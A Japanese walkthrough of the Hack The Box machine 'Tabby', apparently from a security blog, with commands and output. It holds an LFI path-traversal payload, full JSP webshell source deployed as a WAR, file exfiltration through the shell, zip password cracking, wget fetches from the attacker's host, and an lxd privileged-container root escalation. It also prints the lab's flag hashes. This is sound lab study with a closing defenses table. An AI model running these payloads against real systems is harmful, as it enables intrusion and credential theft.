Hack The BoxのWriteup(Tabby)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Tabby — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 8080/Tomcat
→
news.php LFI
tomcat-users.xml 読み取り
→
tomcat:$3cureP4s5w0rd123!
→
Tomcat Manager WARデプロイ
JSP webshell
→
backup.zip 発見・fcrackzip
admin@it
→
su – ash → user.txt ✓
→
lxdグループ特権コンテナ
Alpine split image
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & サイト確認

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.181
nmap -sV -sC -p 22,80,8080 10.129.89.181
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4
80/tcp   open  http    Apache httpd 2.4.41
8080/tcp open  http-proxy  Apache Tomcat
BASH
curl -s http://10.129.89.181/ | grep title
RESULT
<title>Mega Hosting</title>
ℹ️
“Mega Hosting” を名乗るサイト。vhost名 megahosting.htb を /etc/hostsに追加して本番ドメインとしてアクセスする必要がある。
PHASE 2

news.php の Local File Inclusion

news.php?file= パラメータでパストラバーサル

BASH
echo "10.129.89.181  megahosting.htb" | sudo tee -a /etc/hosts

curl -s "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
RESULT
<tomcat-users>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
✅
LFI成功! news.phpのfileパラメータがパス検証 無しでinclude/読み込みされており、../../によるパス トラバーサルで任意のファイルを読める。Tomcatの設定ファイル tomcat-users.xmlにはmanager-scriptロール (WARデプロイ権限)を持つ資格情報が平文記載されている。
⚠️
実装上の注意: このvhostはホスト名ベースのため、 /etc/hostsのエントリが正しいIPを指していないと (例: 過去に別のインスタンスIPで同名vhostを登録した古いエントリが 残っていると)、OSのDNS解決が古いIPを先に試行してタイムアウトし、 LFI自体が到達不能になる。vhost名を使うエクスプロイトでは /etc/hostsに同名の重複行が無いか必ず確認すること。
PHASE 3

Tomcat Manager への WAR デプロイで RCE

JSP webshell WAR の作成とデプロイ

BASH
# JSP webshellを含むWARファイルを作成
mkdir -p tabbysh && cat > tabbysh/cmd.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*"%>
<% String cmd = request.getParameter("cmd");
if (cmd != null) {
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
  BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
  String line; while ((line = r.readLine()) != null) out.println(line);
} %>
EOF
cd tabbysh && jar -cvf ../tabbysh.war . && cd ..

curl -s -u 'tomcat:$3cureP4s5w0rd123!' -T tabbysh.war \
  "http://10.129.89.181:8080/manager/text/deploy?path=/tabbysh&update=true"
RESULT
OK - Deployed application at context path [/tabbysh]

webshellでRCE確認

BASH
curl -s -G --data-urlencode "cmd=id" http://10.129.89.181:8080/tabbysh/cmd.jsp
RESULT
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
✅
RCE成功! tomcatユーザーとしてコマンド実行できる。
PHASE 4

バックアップZIPのクラック & user.txt取得

バックアップZIPの発見と回収

BASH (webshell経由)
curl -s -G --data-urlencode "cmd=find /var/www/html -name '*.zip' 2>/dev/null" \
  http://10.129.89.181:8080/tabbysh/cmd.jsp
RESULT
/var/www/html/files/16162020_backup.zip
BASH
curl -s -G --data-urlencode "cmd=base64 -w0 /var/www/html/files/16162020_backup.zip" \
  http://10.129.89.181:8080/tabbysh/cmd.jsp | base64 -d > backup.zip

fcrackzip でパスワードクラック

BASH
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
RESULT
PASSWORD FOUND!!!!: pw == admin@it

su – ash でユーザー昇格 & user.txt取得

BASH (webshell経由)
curl -s -G --data-urlencode \
  "cmd=echo 'admin@it' | su - ash -c 'cat /home/ash/user.txt'" \
  http://10.129.89.181:8080/tabbysh/cmd.jsp
RESULT
47ad3c2c295446ec5039db8c83d14d8d
user.txt — ash
47ad3c2c295446ec5039db8c83d14d8d
⚠️
重要: SSHは公開鍵認証のみでパスワード認証不可のため 直接SSHログインはできない。またsu ash(ログインシェル無し) ではなくsu - ash(ハイフン付き、ログイン シェルとして起動)である必要がある。これにより/snap/bin等が 正しく$PATHに含まれ、次フェーズのlxcコマンドが 使えるようになる。
PHASE 5

lxdグループ権限による特権コンテナ権限昇格 & root.txt取得

lxdグループ所属の確認

BASH (webshell経由、su – ash 内)
echo 'admin@it' | su - ash -c 'groups'
RESULT
ash adm cdrom sudo dip plugdev lxd
🚨
lxdグループは実質root権限と同等。 LXDコンテナを security.privileged=trueで起動しホストのルートファイル システムをマウントすれば、コンテナ内からホストの/rootに アクセスできる(名前空間分離を自ら無効化できるため)。

Alpine split image の作成 (LXD 4.18はsplit形式が必要)

BASH (Kali側)
# メタデータ部分
cat > metadata.yaml <<'EOF'
architecture: "x86_64"
creation_date: 1595894164
properties:
  architecture: "x86_64"
  description: "Alpine"
  os: "Alpine"
  release: "3.18"
EOF
tar -czf alpine_meta.tar.gz metadata.yaml

# ルートファイルシステム部分(公式ミニルートFS)
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz \
  -O alpine_rootfs.tar.gz
ℹ️
LXD 4.18以降は単一のunified tarballイメージを受け付けず、 metadata部分とrootfs部分を分離した”split”形式を要求する。

イメージ転送・コンテナ起動・ホストファイルシステムのマウント

BASH (webshell経由、su – ash 内)
# Kali側で一時HTTPサーバーからimageを配信し、ash宅へwgetで取得
wget -O /home/ash/alpine_meta.tar.gz http://<Kali IP>:9974/alpine_meta.tar.gz
wget -O /home/ash/alpine_rootfs.tar.gz http://<Kali IP>:9974/alpine_rootfs.tar.gz

lxd init --auto
lxc image import /home/ash/alpine_meta.tar.gz /home/ash/alpine_rootfs.tar.gz --alias alpine
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn mydev disk source=/ path=/mnt/root recursive=true
lxc start pwn
lxc exec pwn -- cat /mnt/root/root/root.txt
RESULT
Creating pwn
Device mydev added to pwn
38e5982aab72695f0e90b84591ba3acb
✅
root.txt取得成功! コンテナのsecurity.privileged=true 設定により、コンテナ内の処理がホストカーネルに対してそのまま root権限として作用する。ホストの/をコンテナ内 /mnt/rootにマウントしたことで、ホストのファイルシステム 全体に権限チェック無しでアクセスできる。
root.txt — LXD特権コンテナ経由
38e5982aab72695f0e90b84591ba3acb
ℹ️
コンテナの初期化(特にイメージのunpack)には実機で2分以上かかることがある。 自動化する場合はWebシェル経由のHTTPリクエストでブロックせず、 バックグラウンドスクリプト起動+ポーリング方式にする必要がある。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ash
47ad3c2c295446ec5039db8c83d14d8d
root.txt — LXD特権コンテナ経由
38e5982aab72695f0e90b84591ba3acb

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Local File Inclusion news.php?file= 設定ファイル内資格情報の漏洩 Critical パス検証無しのfile読み込みでtomcat-users.xmlを窃取
Tomcat Manager WARデプロイ RCE Apache Tomcat Manager リモートコード実行 (tomcatユーザー) Critical 漏洩した管理者資格情報でJSP webshellを含むWARをデプロイ
バックアップZIPの弱いパスワード /var/www/html/files/16162020_backup.zip 水平権限昇格 (ash、user.txt) Medium rockyou.txt + fcrackzipで即座にクラック
lxdグループ所属 (特権コンテナ作成権限) LXD/LXC 権限昇格 (root相当、root.txt) Critical security.privileged=trueの特権コンテナでホストの/を直接マウント

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 80/http (Mega Hosting), 8080/Tomcat
2LFInews.php?file=パストラバーサルtomcat:$3cureP4s5w0rd123!
3RCETomcat Manager WARデプロイtomcat シェル獲得
4水平昇格backup.zip発見+fcrackzipクラックash:admin@it、user.txt
5権限昇格lxdグループ + 特権コンテナroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー制御可能なfileパラメータに対しパストラバーサル検証が無い includeするファイルは固定の許可リストで管理し、ユーザー入力を直接パス構築に使わない。
Tomcat管理コンソールの資格情報が平文で設定ファイルに保存され、Webルート外のファイルがLFIで読める 設定ファイルのパーミッションをWebサーバー実行ユーザーから読めない権限にし、機密情報は環境変数やシークレット管理システムで管理する。
バックアップファイルがWebルート下に公開され、弱いパスワードで保護されている バックアップは公開領域に置かず、強固なパスフレーズまたは鍵ベースの暗号化を使う。
一般ユーザーがlxdグループに所属し、事実上root権限相当の操作が可能 最小権限の原則を徹底し、lxd/dockerグループへの所属は厳格に制限する。LXDのsecurity.privilegedフラグの使用自体も監視・制限する。
HackTheBox: Tabby | 完全攻略レポート